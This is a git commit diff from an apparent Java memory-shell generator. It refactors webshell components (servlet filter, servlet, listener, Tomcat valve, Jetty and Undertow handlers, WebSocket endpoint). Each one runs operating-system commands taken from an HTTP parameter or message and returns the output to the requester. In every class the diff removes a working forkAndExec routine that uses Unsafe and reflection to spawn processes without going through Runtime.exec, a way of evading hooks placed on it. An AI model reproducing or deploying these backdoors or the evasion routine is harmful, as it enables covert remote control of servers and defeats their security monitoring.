feat: support custom command implementation

This commit is contained in:
ReaJason
2025-05-28 01:22:54 +08:00
parent 88732d9a81
commit 34198a5c90
25 changed files with 291 additions and 1145 deletions
@@ -1,11 +1,8 @@
package com.reajason.javaweb.memshell.shelltool.command;
import sun.misc.Unsafe;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
@@ -14,10 +11,14 @@ import java.lang.reflect.Method;
public class Command {
public static String paramName;
public String getParam(String param) {
private String getParam(String param) {
return param;
}
private InputStream getInputStream(String cmd) throws Exception {
return null;
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
@@ -26,12 +27,7 @@ public class Command {
try {
String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
if (cmd != null) {
InputStream inputStream = null;
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
InputStream inputStream = getInputStream(cmd);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
byte[] buf = new byte[8192];
int length;
@@ -46,105 +42,6 @@ public class Command {
return false;
}
public InputStream getInputStream(String cmd) {
return null;
}
@SuppressWarnings("all")
public static InputStream forkAndExec(String cmd) throws Exception {
String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject);
}
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
public Object unwrapRequest(Object request) {
Object internalRequest = request;
while (true) {
@@ -1,31 +1,31 @@
package com.reajason.javaweb.memshell.shelltool.command;
import sun.misc.Unsafe;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class CommandFilter implements Filter {
public static String paramName;
private static String paramName;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public String getParam(String param) {
private String getParam(String param) {
return param;
}
private InputStream getInputStream(String cmd) throws Exception {
return null;
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
@@ -33,12 +33,7 @@ public class CommandFilter implements Filter {
String cmd = getParam(servletRequest.getParameter(paramName));
try {
if (cmd != null) {
InputStream inputStream = null;
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
InputStream inputStream = getInputStream(cmd);
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
@@ -53,101 +48,6 @@ public class CommandFilter implements Filter {
chain.doFilter(servletRequest, servletResponse);
}
@SuppressWarnings("all")
public static InputStream forkAndExec(String cmd) throws Exception {
String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject);
}
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
@Override
public void destroy() {
@@ -12,12 +12,16 @@ import java.lang.reflect.Method;
* @since 2025/5/15
*/
public class CommandJettyHandler {
public static String paramName;
private static String paramName;
public String getParam(String param) {
private String getParam(String param) {
return param;
}
private InputStream getInputStream(String cmd) throws Exception {
return null;
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
@@ -46,12 +50,7 @@ public class CommandJettyHandler {
if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
}
InputStream inputStream = null;
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
InputStream inputStream = getInputStream(cmd);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
byte[] buf = new byte[8192];
int length;
@@ -65,99 +64,4 @@ public class CommandJettyHandler {
}
return false;
}
@SuppressWarnings("all")
public static InputStream forkAndExec(String cmd) throws Exception {
String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject);
}
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
}
@@ -1,21 +1,17 @@
package com.reajason.javaweb.memshell.shelltool.command;
import sun.misc.Unsafe;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public static String paramName;
private static String paramName;
public CommandListener() {
}
@@ -25,10 +21,14 @@ public class CommandListener implements ServletRequestListener {
}
public String getParam(String param) {
private String getParam(String param) {
return param;
}
private InputStream getInputStream(String cmd) throws Exception {
return null;
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
@@ -36,12 +36,7 @@ public class CommandListener implements ServletRequestListener {
String cmd = getParam(request.getParameter(paramName));
if (cmd != null) {
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
InputStream inputStream = null;
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
InputStream inputStream = getInputStream(cmd);
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
@@ -53,101 +48,6 @@ public class CommandListener implements ServletRequestListener {
}
}
@SuppressWarnings("all")
public static InputStream forkAndExec(String cmd) throws Exception {
String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject);
}
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
return null;
}
@@ -17,28 +17,27 @@ import java.lang.reflect.Method;
* @since 2024/12/15
*/
public class CommandServlet extends HttpServlet {
public static String paramName;
private static String paramName;
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doPost(req, resp);
}
public String getParam(String param) {
private String getParam(String param) {
return param;
}
private InputStream getInputStream(String cmd) throws Exception {
return null;
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String cmd = getParam(request.getParameter(paramName));
try {
if (cmd != null) {
InputStream inputStream = null;
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
InputStream inputStream = getInputStream(cmd);
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
@@ -50,99 +49,4 @@ public class CommandServlet extends HttpServlet {
e.printStackTrace();
}
}
@SuppressWarnings("all")
public static InputStream forkAndExec(String cmd) throws Exception {
String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject);
}
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
}
@@ -12,12 +12,16 @@ import java.lang.reflect.Method;
* @since 2025/5/15
*/
public class CommandUndertowServletHandler {
public static String paramName;
private static String paramName;
public String getParam(String param) {
private String getParam(String param) {
return param;
}
private InputStream getInputStream(String cmd) throws Exception {
return null;
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
@@ -32,12 +36,7 @@ public class CommandUndertowServletHandler {
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
if (cmd != null) {
InputStream inputStream = null;
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
InputStream inputStream = getInputStream(cmd);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
byte[] buf = new byte[8192];
int length;
@@ -51,99 +50,4 @@ public class CommandUndertowServletHandler {
}
return false;
}
@SuppressWarnings("all")
public static InputStream forkAndExec(String cmd) throws Exception {
String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject);
}
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
}
@@ -3,26 +3,49 @@ package com.reajason.javaweb.memshell.shelltool.command;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import sun.misc.Unsafe;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
*/
public class CommandValve implements Valve {
public static String paramName;
private static String paramName;
private String getParam(String param) {
return param;
}
private InputStream getInputStream(String cmd) throws Exception {
return null;
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = getParam(request.getParameter(paramName));
try {
if (cmd != null) {
InputStream inputStream = getInputStream(cmd);
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return;
}
} catch (Exception e) {
e.printStackTrace();
}
this.getNext().invoke(request, response);
}
protected Valve next;
protected boolean asyncSupported;
public CommandValve() {
}
@Override
public Valve getNext() {
return this.next;
@@ -41,128 +64,4 @@ public class CommandValve implements Valve {
@Override
public void backgroundProcess() {
}
public String getParam(String param) {
return param;
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = getParam(request.getParameter(paramName));
try {
if (cmd != null) {
InputStream inputStream = null;
try {
inputStream = forkAndExec(cmd);
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
}
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return;
}
} catch (Exception ignored) {
}
this.getNext().invoke(request, response);
}
@SuppressWarnings("all")
public static InputStream forkAndExec(String cmd) throws Exception {
String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class<?> processClass = null;
try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[strs.length - 1][];
int size = args.length;
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}
byte[] argBlock = new byte[size];
int i = 0;
for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
byte[] result = toCString(strs[0]);
try {
Field helperpathField = processClass.getDeclaredField("helperpath");
helperpathField.setAccessible(true);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
launchMechanismField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
int mode = 0;
try {
Field value = launchMechanismObject.getClass().getDeclaredField("value");
value.setAccessible(true);
mode = (Integer) value.get(launchMechanismObject);
} catch (NoSuchFieldException e) {
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
mode = ordinal + 1;
}
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
} catch (NoSuchFieldException e) {
// JDK7
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class);
forkMethod.setAccessible(true);
forkMethod.invoke(processObject, result, argBlock, args.length,
null, envc[0], null, std_fds, false);
}
try {
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);
} catch (NoSuchMethodException e) {
// JDK11
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds, false);
}
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
return (InputStream) getInputStreamMethod.invoke(processObject);
}
private static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
}
@@ -1,7 +1,5 @@
package com.reajason.javaweb.memshell.shelltool.command;
import sun.misc.Unsafe;
import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
@@ -9,8 +7,6 @@ import javax.websocket.Session;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* <a href="https://github.com/veo/wsMemShell">wsMemShell</a>
@@ -26,15 +22,14 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
return param;
}
private InputStream getInputStream(String cmd) throws Exception {
return null;
}
@Override
public void onMessage(String cmd) {
try {
InputStream inputStream = null;
try {
inputStream = forkAndExec(getParam(cmd));
} catch (Throwable e) {
inputStream = Runtime.getRuntime().exec(getParam(cmd)).getInputStream();
}
InputStream inputStream = getInputStream(getParam(cmd));
byte[] buf = new byte[8192];
int length;
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
@@ -51,101 +46,6 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
}
}
@SuppressWarnings("all")
public static InputStream forkAndExec(String cmd) throws Exception {
String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
